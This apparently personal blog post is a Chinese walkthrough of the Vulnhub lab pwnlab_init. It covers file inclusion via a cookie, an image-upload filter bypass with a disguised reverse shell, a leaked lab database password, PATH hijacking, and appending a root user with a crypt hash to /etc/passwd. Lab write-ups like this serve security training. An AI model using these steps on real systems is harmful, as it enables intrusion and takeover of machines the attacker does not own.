r0ckyzzz's Blog.

Vulnhub靶机pwnlab_init通关笔记

Word count: 546Reading time: 2 min
2020/03/24 Share

Vulnhub靶机pwnlab_init通关笔记

前言

下载地址:https://www.vulnhub.com/entry/pwnlab-init,158/

upload successful

开始

nmap扫描

upload successful

80 111 3306端口

找到一个文件包含

upload successful

包含config.php得到root账号密码

upload successful
root:H4u%QJ_H99

upload successful
登陆上了

查看
upload.php源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
if(isset($_POST['submit'])) {

if ($_FILES['file']['error'] <= 0) {

$filename = $_FILES['file']['name'];

$filetype = $_FILES['file']['type'];

$uploaddir = 'upload/';

$file_ext = strrchr($filename, '.');

$imageinfo = getimagesize($_FILES['file']['tmp_name']);

$whitelist = array(".jpg",".jpeg",".gif",".png");



if (!(in_array($file_ext, $whitelist))) {

die('Not allowed extension, please upload images only.');

}



if(strpos($filetype,'image') === false) {

die('Error 001');

}



if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg' && $imageinfo['mime'] != 'image/jpg'&& $imageinfo['mime'] != 'image/png') {

die('Error 002');

}



if(substr_count($filetype, '/')>1){

die('Error 003');

}



$uploadfile = $uploaddir . md5(basename($_FILES['file']['name'])).$file_ext;



if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) {

echo "<img src=\"".$uploadfile."\"><br />";

} else {

die('Error 4');

}

}

}

上传一个反弹sell的gif上去

upload successful

index.php源码的时候看到还能在cookie包含一个文件 可以getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php

//Multilingual. Not implemented yet.

//setcookie("lang","en.lang.php");

if (isset($_COOKIE['lang']))

{

include("lang/".$_COOKIE['lang']);

}

// Not implemented yet.

upload successful

upload successful
成功

先去其他的用户那里看一下

kane的目录发现一个msgmike 是个二进制文件 会执行cat /home/mike/msg.txt
并且是以Mike的权限

upload successful

upload successful

可以修改环境变量
首先 将 “/bin/bash” 写入/tmp/cat里
然后修改环境变量export PATH=/tmp:$PATH
这样运行cat …的时候其实运行的是我们写在/tmp/cat的内容

upload successful
成功su到了mike上面

upload successful

mike的文件夹上面有一个msg2root

upload successful

upload successful
测试了一下这个程序的功能 以root权限运行echo 那就好办了
直接写一个/etc/passwd就可以了
perl -le 'print crypt("123456","SALT")'
得到加盐的密码

SAsvGnJ7itXgk

"r0ckyzzz:SAsvGnJ7itXgk:0:0::/root:/bin/bash">>/etc/passwd

upload successful

拿到flag

upload successful

CATALOG
  1. 1. Vulnhub靶机pwnlab_init通关笔记
    1. 1.1. ¶前言
    2. 1.2. ¶开始